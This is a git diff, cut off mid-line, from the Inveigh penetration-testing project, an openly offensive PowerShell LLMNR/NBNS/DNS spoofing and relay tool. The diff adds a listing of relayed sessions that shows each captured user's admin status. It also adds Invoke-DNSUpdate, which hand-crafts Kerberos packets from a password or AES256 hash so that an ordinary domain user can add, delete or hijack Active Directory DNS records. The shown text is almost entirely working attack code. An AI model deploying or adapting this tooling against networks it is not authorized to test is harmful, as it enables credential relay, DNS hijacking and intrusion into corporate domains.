[parameter(Mandatory=$false)][Switch]$NTLMv1, @@ -4552,6 +4347,7 @@ param [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, [parameter(Mandatory=$false)][Switch]$POSTRequest, [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, + [parameter(Mandatory=$false)][Switch]$Session, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) @@ -4572,7 +4368,7 @@ if($Console -or $PSBoundParameters.Count -eq 0) switch -wildcard ($inveigh.console_queue[0]) { - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} { Write-Warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveAt(0) @@ -4592,6 +4388,36 @@ if($Console -or $PSBoundParameters.Count -eq 0) } +if($DNS) +{ + + foreach($DNS in $inveigh.DNS_list) + { + + if($DNS.StartsWith("1,")) + { + Write-Output $DNS.Substring(2) + } + + } + +} + +if($DNSFailed) +{ + + foreach($DNS in $inveigh.DNS_list) + { + + if($DNS.StartsWith("0,")) + { + Write-Output $DNS.Substring(2) + } + + } + +} + if($Log) { Write-Output $inveigh.log @@ -4678,6 +4504,37 @@ if($Learning) Write-Output $inveigh.valid_host_list } +if($Session) +{ + $i = 1 + $session_list = @() + + while($i -le $inveigh.session_socket_table.Count) + { + + if($inveigh.session_socket_table[$i].Connected) + { + $status = "connected" + } + else + { + $status = "disconnected" + } + + $session_object = New-Object PSObject + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $i + Add-Member -InputObject $session_object -MemberType NoteProperty -Name System $inveigh.session_socket_table[$i].Client.RemoteEndpoint.Address.IPaddressToString + Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $inveigh.session_user_table[$i] + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Admin $inveigh.session_privilege_table[$i] + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $inveigh.session_timestamp_table[$i] + $session_list += $session_object + $i++ + } + + Write-Output $session_list | Format-Table -AutoSize +} + } function Watch-Inveigh @@ -4702,7 +4559,7 @@ if($inveigh.tool -ne 1) if($inveigh.running -or $inveigh.relay_running) { - Write-Output "Press any key to stop real time console output" + Write-Output "[*] Press any key to stop real time console output" $inveigh.console_output = $true :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) @@ -4714,7 +4571,7 @@ if($inveigh.tool -ne 1) switch -wildcard ($inveigh.console_queue[0]) { - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} { Write-Warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveAt(0) @@ -4766,13 +4623,13 @@ if($inveigh.tool -ne 1) } else { - Write-Output "Inveigh isn't running" + Write-Output "[-] Inveigh isn't running" } } else { - Write-Output "Watch-Inveigh cannot be used with current external tool selection" + Write-Output "[-] Watch-Inveigh cannot be used with current external tool selection" } } @@ -4790,11 +4647,11 @@ if($inveigh) if(!$inveigh.running -and !$inveigh.relay_running) { Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" + Write-Output "[+] Inveigh data has been cleared from memory" } else { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" + Write-Output "[-] Run Stop-Inveigh before running Clear-Inveigh" } } diff --git a/Inveigh.psd1 b/Inveigh.psd1 index d3e601d..5195d9d 100644 --- a/Inveigh.psd1 +++ b/Inveigh.psd1 @@ -12,7 +12,7 @@ ModuleToProcess = 'Inveigh.psm1' # Version number of this module. -ModuleVersion = '1.0' +ModuleVersion = '1.4' # ID used to uniquely identify this module GUID = '4f991a73-c574-44b7-85df-da769f39d45d' diff --git a/Inveigh.psm1 b/Inveigh.psm1 index 96708d8..c7b0027 100644 --- a/Inveigh.psm1 +++ b/Inveigh.psm1 @@ -1,9 +1,9 @@ <# .SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. +Inveigh is a Windows PowerShell LLMNR/NBNS/mDNS/DNS spoofer/man-in-the-middle tool. .LINK https://github.com/Kevin-Robertson/Inveigh #> -Import-Module $PWD\Scripts\Inveigh.ps1 -Import-Module $PWD\Scripts\Inveigh-Relay.ps1
\ No newline at end of file +Import-Module $PWD\Inveigh.ps1 +Import-Module $PWD\Inveigh-Relay.ps1
\ No newline at end of file diff --git a/Invoke-DNSUpdate.ps1 b/Invoke-DNSUpdate.ps1 new file mode 100644 index 0000000..658d486 --- /dev/null +++ b/Invoke-DNSUpdate.ps1 @@ -0,0 +1,1437 @@ +function Invoke-DNSUpdate +{ + <# + .SYNOPSIS + This function performs secure and nonsecure DNS dynamic updates against an AD domain controller. Authentication + for secure updates is performed through Kerberos GSS-TSIG. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to add/delete dynamic DNS records through secure or nonsecure dynamic updates against an + AD domain controller. A, AAAA, CNAME, MX, PTR, SRV, and TXT records are currently supported. Invoke-DNSUpdate is modeled + after BIND`s nsupdate tool when using the '-g' or 'gsstsig' options for secure updates or no authentication for + nonsecure updates. + + By default, Active Directory-integrated zones have secure dynamic updates enabled with authenticated users having + 'Create all child objects' permission. Records that do not exist in an AD zone can be added/deleted with a standard + user account. Existing records created by default or created by other users impose limitations. For example, creating + records that apply to the root of the zone or creating additional SRV records for kerberos/ldap will likely be blocked + due to existing records. Note however that older existing dynamic records can sometimes be hijacked. Subdomain folders + can also be created. + + With secure dynamic updates, this function supports only GSS-TSIG through Kerberos AES256-CTS-HMAC-SHA1-96 using + two separate methods. By default, the function will have Windows perform all Kerberos steps up until the AP-REQ + is sent to DNS on the DC. This method will work with either the current session context or with specified credentials. + The second method performs Kerberos authentication using just PowerShell code over a TCPClient connection. This method + will accept a password or AES256 hash and will not place any tickets in the client side cache. + + In the event that a zone is configured for nonsecure dynamic updates, you should have full control over the zone. + + Note that wpad and isatap are on a block list by default starting with Server 2008. Although the records can be added + with both secure and nonsecure dynamic updates, AD DNS will not answer requests for wpad and isatap if they are listed + on the block list. + + .PARAMETER DomainController + Domain controller to target in FQDN format. + + .PARAMETER Realm + Kerberos realm. + + .PARAMETER Username + Username of user with DNS secure dynamic update access. If using a machine account, the trailing '$' must be + included. + + .PARAMETER Password + Password of user with DNS secure dynamic update access. The password must be in the form of a secure string. + + .PARAMETER Hash + AES256 password hash for user with DNS secure dynamic update access. Note that this will use Kerberos + authentication built on top of TCPClient. + + .PARAMETER Security + Default = Secure: (Auto/Nonsecure/Secure) Dynamic update security type. Auto will attempt to use nonsecure. If + nonsecure fails, secure will be used. This is the standard dynamic update behavior. Secure is the default + because it generates less traffic. + + .PARAMETER DNSName + DNS record name. + + .PARAMETER DNSData + DNS records data. For most record types this will be the destination hostname or IP address. For TXT records + this can be used for data. If deleting a record, leave off this parameter. + + .PARAMETER DNSType + DNS record type. + + .PARAMETER DNSTTL + DNS record TTL. + + .PARAMETER DNSPreference + DNS MX record priority + + .PARAMETER DNSPriority + DNS SRV record priority. + + .PARAMETER DNSWeight + DNS SRV record weight. + + .PARAMETER DNSPort + DNS SRV record port. + + .PARAMETER DNSZone + DNS zone. + + .PARAMETER TCPClientAuth + Switch to force usage of the TCPClient based Kerberos authentication. + + .EXAMPLE + Invoke-DNSUpdate -DNSType A -DNSName www.test.local -DNSData 192.168.100.125 -DNSTTL 84600 + Add A Record + + .EXAMPLE + Invoke-DNSUpdate -DNSType AAAA -DNSName www.test.local -DNSData 2001:0db8:85a3:0000:0000:8a2e:0370:7334 + Add AAAA Record + + .EXAMPLE + Invoke-DNSUpdate -DNSType CNAME -DNSName www.test.local -DNSData system.test.local + Add CNAME Record + + .EXAMPLE + Invoke-DNSUpdate -DNSType MX -DNSName test.local -DNSData 192.168.100.125 -DNSPreference 10 + Add MX Record + + .EXAMPLE + Invoke-DNSUpdate -DNSType PTR -DNSName 125.100.168.192.in-addr.arpa -DNSData www.test.local -DNSZone 100.168.192.in-addr.arpa + Add PTR Record - there is a good chance this will be denied if there is an existing record for an IP + + .EXAMPLE + Invoke-DNSUpdate -DNSType SRV -DNSName _autodiscover._tcp.lab.local -DNSData system.test.local -DNSPriority 100 -DNSWeight 80 -DNSPort 443 + Add SRV Record + + .EXAMPLE + Invoke-DNSUpdate -DNSType TXT -DNSName host.test.local -DNSData "some text" + Add TXT Record + + .EXAMPLE + Invoke-DNSUpdate -DNSType TXT -DNSName host.test.local + Delete TXT record - all deletes follow the same format, just specify DNSType and DNSName + + .EXAMPLE + Invoke-DNSUpdate -DNSType A -DNSName www.test.local -Username testuser + Add A record using another account + + .EXAMPLE + Invoke-DNSUpdate -DNSType A -DNSName www.test.local -Username testuser -Hash 0C27E0A5B0D69640B40DDED4A28EB3BB0D157659EBED2816A41A8228E98D111B + Add A record using another account and an AES256 hash + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Realm, + [parameter(Mandatory=$false)][String]$Username, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][ValidateScript({$_.Length -eq 64})][String]$Hash, + [parameter(Mandatory=$false)][String]$DNSZone, + [parameter(Mandatory=$false)][Int]$DNSTTL = 600, + [parameter(Mandatory=$false)][Int]$DNSPreference, + [parameter(Mandatory=$false)][Int]$DNSPriority, + [parameter(Mandatory=$false)][Int]$DNSWeight, + [parameter(Mandatory=$false)][Int]$DNSPort, + [parameter(Mandatory=$false)][ValidateSet("Auto","Nonsecure","Secure")][String]$Security = "Secure", + [parameter(Mandatory=$true)][ValidateSet("A","AAAA","CNAME","MX","PTR","SRV","TXT")][String]$DNSType, + [parameter(Mandatory=$true)][String]$DNSName, + [parameter(Mandatory=$false)][ValidateScript({$_.Length -le 255})][String]$DNSData, + [parameter(Mandatory=$false)][Switch]$TCPClientAuth + ) + + if($TCPClientAuth -and !$Username) + { + Write-Output "[-] TCPClientAuth requires a username" + throw + } + + switch ($DNSType) + { + + 'MX' + { + + if(!$DNSPreference) + { + Write-Output "[-] MX records require a DNSPreference" + throw + } + + } + + 'PTR' + { + + if(!$DNSZone) + { + Write-Output "[-] PTR records require a DNSZone" + throw + } + + } + + 'SRV' + { + + if(!$DNSPriority -and !$DNSWeight -and !$DNSPort -and $DNSData) + { + Write-Output "[-] DNSType SRV requires DNSPriority, DNSWeight, and DNSPort" + throw + } + + if($DNSName -notlike '*._tcp.*' -and $DNSName -notlike '*._udp.*') + { + Write-Output "[-] DNSName doesn't contain a protocol" + throw + } + + } + + } + + if($Username -and !$Hash) + { + $password = Read-Host -Prompt "Enter password" -AsSecureString + } + + if(!$DomainController) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + $DomainController = $current_domain.DomainControllers[0].Name + $domain = $current_domain.Name + } + catch + { + Write-Output "[-] Domain controller not located" + throw + } + + } + else + { + $realm_index = $DomainController.IndexOf(".") + $domain = $DomainController.Substring($realm_index + 1) + } + + if(!$Realm) + { + $realm = $domain + } + + if($TCPClientAuth -or $Hash) + { + + $kerberos_tcpclient = $true + $realm = $realm.ToUpper() + + if($username -like "*\*") + { + $username = $username.SubString(($username.IndexOf("\") + 1),($username.Length - ($username.IndexOf("\") + 1))) + } + + if($username -like "*@*") + { + $username = $username.SubString(0,($username.IndexOf("@"))) + } + + if($Username.EndsWith("$")) + { + $salt = $realm + "host" + $Username.SubString(0,$Username.Length - 1) + "." + $realm.ToLower() + } + else + { + $salt = $realm + $Username + } + + Write-Verbose "[+] Salt $salt" + } + + if(!$DNSZone) + { + $DNSZone_index = $DomainController.IndexOf(".") + $DNSZone = $DomainController.Substring($DNSZone_index + 1) + } + + $DNSZone = $DNSZone.ToLower() + + function ConvertFrom-PacketOrderedDictionary + { + param($ordered_dictionary) + + ForEach($field in $ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function Get-KerberosAES256UsageKey + { + param([String]$key_type,[Int]$usage_number,[Byte[]]$base_key) + + $padding = 0x00 * 16 + + if($key_type -eq 'checksum') + { + switch($usage_number) + { + 25 {[Byte[]]$usage_constant = 0x5d,0xfb,0x7d,0xbf,0x53,0x68,0xce,0x69,0x98,0x4b,0xa5,0xd2,0xe6,0x43,0x34,0xba + $padding} + } + } + elseif($key_type -eq 'encrypt') + { + + switch($usage_number) + { + 1 {[Byte[]]$usage_constant = 0xae,0x2c,0x16,0x0b,0x04,0xad,0x50,0x06,0xab,0x55,0xaa,0xd5,0x6a,0x80,0x35,0x5a + $padding} + 3 {[Byte[]]$usage_constant = 0xbe,0x34,0x9a,0x4d,0x24,0xbe,0x50,0x0e,0xaf,0x57,0xab,0xd5,0xea,0x80,0x75,0x7a + $padding} + 4 {[Byte[]]$usage_constant = 0xc5,0xb7,0xdc,0x6e,0x34,0xc7,0x51,0x12,0xb1,0x58,0xac,0x56,0x2a,0x80,0x95,0x8a + $padding} + 7 {[Byte[]]$usage_constant = 0xde,0x44,0xa2,0xd1,0x64,0xe0,0x51,0x1e,0xb7,0x5b,0xad,0xd6,0xea,0x80,0xf5,0xba + $padding} + 11 {[Byte[]]$usage_constant = 0xfe,0x54,0xaa,0x55,0xa5,0x02,0x52,0x2f,0xbf,0x5f,0xaf,0xd7,0xea,0x81,0x75,0xfa + $padding} + 12 {[Byte[]]$usage_constant = 0x05,0xd7,0xec,0x76,0xb5,0x0b,0x53,0x33,0xc1,0x60,0xb0,0x58,0x2a,0x81,0x96,0x0b + $padding} + } + + } + elseif($key_type -eq 'integrity') + { + + switch($usage_number) + { + 1 {[Byte[]]$usage_constant = 0x5b,0x58,0x2c,0x16,0x0a,0x5a,0xa8,0x05,0x56,0xab,0x55,0xaa,0xd5,0x40,0x2a,0xb5 + $padding} + 4 {[Byte[]]$usage_constant = 0x72,0xe3,0xf2,0x79,0x3a,0x74,0xa9,0x11,0x5c,0xae,0x57,0x2b,0x95,0x40,0x8a,0xe5 + $padding} + 7 {[Byte[]]$usage_constant = 0x8b,0x70,0xb8,0xdc,0x6a,0x8d,0xa9,0x1d,0x62,0xb1,0x58,0xac,0x55,0x40,0xeb,0x15 + $padding} + 11 {[Byte[]]$usage_constant = 0xab,0x80,0xc0,0x60,0xaa,0xaf,0xaa,0x2e,0x6a,0xb5,0x5a,0xad,0x55,0x41,0x6b,0x55 + $padding} + } + + } + + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + $AES.IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $AES.KeySize = 256 + $AES.Key = $base_key + $AES_encryptor = $AES.CreateEncryptor() + $usage_key = $AES_encryptor.TransformFinalBlock($usage_constant,0,$usage_constant.Length) + + return $usage_key + } + + # TCPClient Kerberos start - this section can be removed if not using a hash or -TCPClientAuth + function Get-KerberosAES256BaseKey + { + param([String]$salt,[System.Security.SecureString]$password) + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + [Byte[]]$salt = [System.Text.Encoding]::UTF8.GetBytes($salt) + [Byte[]]$password_cleartext = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) + $constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 + $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_cleartext,$salt,4096) + Remove-Variable password_cleartext + $PBKDF2_key = $PBKDF2.GetBytes(32) + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::None + $AES.IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $AES.KeySize = 256 + $AES.Key = $PBKDF2_key + $AES_encryptor = $AES.CreateEncryptor() + $base_key_part_1 = $AES_encryptor.TransformFinalBlock($constant,0,$constant.Length) + $base_key_part_2 = $AES_encryptor.TransformFinalBlock($base_key_part_1,0,$base_key_part_1.Length) + $base_key = $base_key_part_1[0..15] + $base_key_part_2[0..15] + + return $base_key + } + + function New-PacketKerberosASREQ() + { + param([Byte[]]$username,[Byte[]]$realm,[Byte[]]$namestring,[Byte[]]$nonce,[Byte[]]$pac,[Byte[]]$pac_signature) + + $timestamp = Get-Date + $till = $timestamp.AddYears(20) + $timestamp = ("{0:u}" -f $timestamp) -replace "-","" -replace " ","" -replace ":","" + $till = ("{0:u}" -f $till) -replace "-","" -replace " ","" -replace ":","" + [Byte[]]$timestamp = [System.Text.Encoding]::UTF8.GetBytes($timestamp) + [Byte[]]$till = [System.Text.Encoding]::UTF8.GetBytes($till) + + if($pac) + { + $pac_extra_length = 78 + } + + [Byte[]]$namestring1_length = Get-ASN1LengthArray $namestring.Count + [Byte[]]$namestring_length = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + 6) + [Byte[]]$namestring_length2 = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + $namestring_length.Count + 7) + [Byte[]]$sname_length = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + 13) + [Byte[]]$sname_length2 = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + 14) + [Byte[]]$realm_length = Get-ASN1LengthArray $realm.Count + [Byte[]]$realm_length2 = Get-ASN1LengthArray ($realm.Count + $realm_length.Count + 1) + [Byte[]]$cname_length = Get-ASN1LengthArray $username.Count + [Byte[]]$cname_length2 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + 1) + [Byte[]]$cname_length3 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + 2) + [Byte[]]$cname_length4 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + 8) + [Byte[]]$cname_length5 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + 9) + $grouped_length = $address_length.Count + $address_length2.Count + $address_length3.Count + $address_length4.Count + $address_length5.Count + $namestring.Count + + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + $realm.Count + $realm_length.Count + + $realm_length2.Count + $username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + $cname_length5.Count + [Byte[]]$reqbody_length = Get-ASN1LengthArrayLong ($grouped_length + 86) + [Byte[]]$reqbody_length2 = Get-ASN1LengthArrayLong ($grouped_length + $reqbody_length.Count + 87) + [Byte[]]$message_length = Get-ASN1LengthArrayLong ($grouped_length + $reqbody_length.Count + $reqbody_length2.Count + $pac_extra_length + 114) + [Byte[]]$message_length2 = Get-ASN1LengthArrayLong ($grouped_length + $reqbody_length.Count + $reqbody_length2.Count + $message_length.Count + $pac_extra_length + 115) + [Byte[]]$asreq_length = [System.BitConverter]::GetBytes($grouped_length + $reqbody_length.Count + $reqbody_length2.Count + $message_length.Count + $message_length2.Count + + $pac_extra_length + 116)[3..0] + + $packet_KerberosASREQ = New-Object System.Collections.Specialized.OrderedDictionary + $packet_KerberosASREQ.Add("Length",$asreq_length) + $packet_KerberosASREQ.Add("Message_Encoding",[Byte[]](0x6a) + $message_length2 + [Byte[]](0x30) + $message_length) + $packet_KerberosASREQ.Add("Message_PVNO_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) + $packet_KerberosASREQ.Add("Message_PVNO",[Byte[]](0x05)) + $packet_KerberosASREQ.Add("Message_MSGType_Encoding",[Byte[]](0xa2,0x03,0x02,0x01)) + $packet_KerberosASREQ.Add("Message_MSGType",[Byte[]](0x0a)) + + if($pac) + { + $packet_KerberosASREQ.Add("Message_PAData_Encoding",[Byte[]](0xa3,0x5c,0x30,0x5a,0x30,0x4c,0xa1,0x03,0x02,0x01,0x02)) + $packet_KerberosASREQ.Add("Message_PAData0_Type_Encoding",[Byte[]](0xa2,0x45,0x04,0x43,0x30,0x41,0xa0,0x03,0x02,0x01)) + $packet_KerberosASREQ.Add("Message_PAData0_Type",[Byte[]](0x12)) + $packet_KerberosASREQ.Add("Message_PAData0_Value_Encoding",[Byte[]](0xa2,0x3a,0x04,0x38)) + $packet_KerberosASREQ.Add("Message_PAData0_Value",$pac) + $packet_KerberosASREQ.Add("Message_PAData0_Signature",$pac_signature) + $packet_KerberosASREQ.Add("Message_PAData1_Type_Encoding",[Byte[]](0x30,0x0a,0xa1,0x04,0x02,0x02)) + } + else + { + $packet_KerberosASREQ.Add("Message_PAData_Encoding",[Byte[]](0xa3,0x0e,0x30,0x0c,0x30,0x0a)) + $packet_KerberosASREQ.Add("Message_PAData1_Type_Encoding",[Byte[]](0xa1,0x04,0x02,0x02)) + } + + $packet_KerberosASREQ.Add("Message_PAData1_Type",[Byte[]](0x00,0x95)) + $packet_KerberosASREQ.Add("Message_PAData1_Value_Encoding",[Byte[]](0xa2,0x02,0x04)) + $packet_KerberosASREQ.Add("Message_PAData1_Value",[Byte[]](0x00)) + $packet_KerberosASREQ.Add("Message_REQBody_Encoding",[Byte[]](0xa4) + $reqbody_length2 + [Byte[]](0x30) + $reqbody_length) + $packet_KerberosASREQ.Add("Message_REQBody_KDCOptions_Encoding",[Byte[]](0xa0,0x07,0x03,0x05)) + $packet_KerberosASREQ.Add("Message_REQBody_KDCOptions_Padding",[Byte[]](0x00)) + $packet_KerberosASREQ.Add("Message_REQBody_KDCOptions",[Byte[]](0x50,0x00,0x00,0x00)) + $packet_KerberosASREQ.Add("Message_REQBody_CName_Encoding",[Byte[]](0xa1) + $cname_length5 + [Byte[]](0x30) + $cname_length4) + $packet_KerberosASREQ.Add("Message_REQBody_CName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosASREQ.Add("Message_REQBody_CName_NameType",[Byte[]](0x01)) + $packet_KerberosASREQ.Add("Message_REQBody_CName_NameString_Encoding",[Byte[]](0xa1) + $cname_length3 + [Byte[]](0x30) + $cname_length2 + [Byte[]](0x1b) + $cname_length) + $packet_KerberosASREQ.Add("Message_REQBody_CName_NameString",$username) + $packet_KerberosASREQ.Add("Message_REQBody_Realm_Encoding",[Byte[]](0xa2) + $realm_length2 + [Byte[]](0x1b) + $realm_length) + $packet_KerberosASREQ.Add("Message_REQBody_Realm",$realm) + $packet_KerberosASREQ.Add("Message_REQBody_SName_Encoding",[Byte[]](0xa3) + $sname_length2 + [Byte[]](0x30) + $sname_length) + $packet_KerberosASREQ.Add("Message_REQBody_SName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $packet_KerberosASREQ.Add("Message_REQBody_SName_NameType",[Byte[]](0x01)) + $packet_KerberosASREQ.Add("Message_REQBody_SName_NameString_Encoding",[Byte[]](0xa1) + $namestring_length2 + [Byte[]](0x30) + $namestring_length) + $packet_KerberosASREQ.Add("Message_REQBody_SName_NameString0_Encoding",[Byte[]](0x1b,0x03)) + $packet_KerberosASREQ.Add("Message_REQBody_SName_NameString0",[Byte[]](0x44,0x4e,0x53)) + $packet_KerberosASREQ.Add("Message_REQBody_SName_NameString1_Encoding",[Byte[]](0x1b) + $namestring1_length) #50 + $packet_KerberosASREQ.Add("Message_REQBody_SName_NameString1",$namestring) + $packet_KerberosASREQ.Add("Message_REQBody_Till_Encoding",[Byte[]](0xa5,0x11,0x18,0x0f)) + $packet_KerberosASREQ.Add("Message_REQBody_Till",$till) + $packet_KerberosASREQ.Add("Message_REQBody_Nonce_Encoding",[Byte[]](0xa7,0x06,0x02,0x04)) + $packet_KerberosASREQ.Add("Message_REQBody_Nonce",$nonce) + $packet_KerberosASREQ.Add("Message_REQBody_EType_Encoding",[Byte[]](0xa8,0x15,0x30,0x13)) + $packet_KerberosASREQ.Add("Message_REQBody_EType",[Byte[]](0x02,0x01,0x12,0x02,0x01,0x11,0x02,0x01,0x17,0x02,0x01,0x18,0x02,0x02,0xff,0x79,0x02,0x01,0x03)) + + return $packet_KerberosASREQ + } + + function New-PacketKerberosAPREQ() + { + param([Byte[]]$realm,[Byte[]]$spn,[Byte[]]$kvno,[Byte[]]$ticket,[Byte[]]$authenticator,[Byte[]]$authenticator_signature) + + $authenticator += $authenticator_signature + $parameter_length = $realm.Count + $spn.Count + $ticket.Count + $authenticator.Count + [Byte[]]$authenticator_length = Get-ASN1LengthArrayLong $authenticator.Count + [Byte[]]$authenticator_length2 = Get-ASN1LengthArrayLong ($authenticator.Count + $authenticator_length.Count + 1) + [Byte[]]$authenticator_length3 = Get-ASN1LengthArrayLong ($authenticator.Count + $authenticator_length.Count + $authenticator_length2.Count + 7) + [Byte[]]$authenticator_length4 = Get-ASN1LengthArrayLong ($authenticator.Count + $authenticator_length.Count + $authenticator_length2.Count + $authenticator_length3.Count + 8) + [Byte[]]$ticket_length = Get-ASN1LengthArrayLong $ticket.Count + [Byte[]]$ticket_length2 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + 1) + [Byte[]]$ticket_length3 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + 12) + [Byte[]]$ticket_length4 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + 13) + [Byte[]]$namestring1_length = Get-ASN1LengthArray $spn.Count + [Byte[]]$namestring_length = Get-ASN1LengthArray ($spn.Count + $namestring_length.Count + 4) + [Byte[]]$namestring_length2 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + 5) + [Byte[]]$sname_length = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + 4) + [Byte[]]$sname_length2 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + 5) + [Byte[]]$sname_length3 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + 11) + [Byte[]]$sname_length4 = Get-ASN1LengthArray ($spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + 12) + [Byte[]]$realm_length = Get-ASN1LengthArray $realm.Count + [Byte[]]$realm_length2 = Get-ASN1LengthArray ($realm.Count + $realm_length.Count + 1) + [Byte[]]$ticket_length5 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + $ticket_length4.Count + + $spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $realm.Count + $realm_length.Count + $realm_length2.Count + 34) + [Byte[]]$ticket_length6 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + $ticket_length4.Count + + $spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $realm.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + 35) + [Byte[]]$ticket_length7 = Get-ASN1LengthArrayLong ($ticket.Count + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + $ticket_length4.Count + + $spn.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $realm.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + 36) + [Byte[]]$apreq_length = Get-ASN1LengthArrayLong ($parameter_length + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + + $ticket_length4.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + $ticket_length7.Count + 73) + [Byte[]]$apreq_length2 = Get-ASN1LengthArrayLong ($parameter_length + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + + $ticket_length4.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + $ticket_length7.Count + + $apreq_length.Count + 74) + [Byte[]]$length = Get-ASN1LengthArrayLong ($parameter_length + $ticket_length.Count + $ticket_length2.Count + $ticket_length3.Count + + $ticket_length4.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + + $sname_length3.Count + $sname_length4.Count + $realm_length.Count + $realm_length2.Count + $ticket_length5.Count + $ticket_length6.Count + $ticket_length7.Count + + $apreq_length.Count + $apreq_length2.Count + 88) + + $packet_KerberosAPREQ = New-Object 